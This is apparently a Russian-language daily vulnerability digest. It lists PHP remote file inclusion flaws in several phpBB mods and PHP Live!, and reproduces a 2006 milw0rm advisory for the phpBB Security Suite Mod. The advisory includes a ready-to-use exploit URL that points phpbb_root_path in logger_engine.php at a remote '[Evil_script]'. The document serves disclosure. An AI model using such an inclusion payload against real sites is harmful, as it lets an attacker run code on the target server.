Дополнительная информация

Ежедневная сводка ошибок в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

Dimension of phpBB <= 0.2.5 (phpbb_root_path) Remote File Includes

phpBB Security Suite Mod 1.0.0 (logger_engine. php) Remote File Include

phpBB Random User Registration Number 1.0 Mod Inclusion Vulnerability

PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability

From:	MILW0RM <submit_(at)_milw0rm.com>
Date:	8 октября 2006 г.
Subject:	phpBB Security Suite Mod 1.0.0 (logger_engine.php) Remote File Include

          /      \
       \  \  ,,  /  /
        '-.`\()/`.-'
       .--_'(  )'_--.
      / /` /`""`\ `\ \           * SpiderZ Hacking Security *
       |  |  ><  |  |
       \  \      /  /
           '.__.'


# Author: SpiderZ
# Security Suite IP Logger Remote File Inclusion Vulnerability
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________


# Remote File Inclusion - Security Suite IP Logger



http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http:
//[Evil_script]



-------------------------------------------------------------------------

# Download: http://www.phpbb.de/viewtopic.php?t=30261

# Download2: http://prdownload.berlios.de/dwingmods/logger_mod100.zip

-------------------------------------------------------------------------

# milw0rm.com [2006-10-05]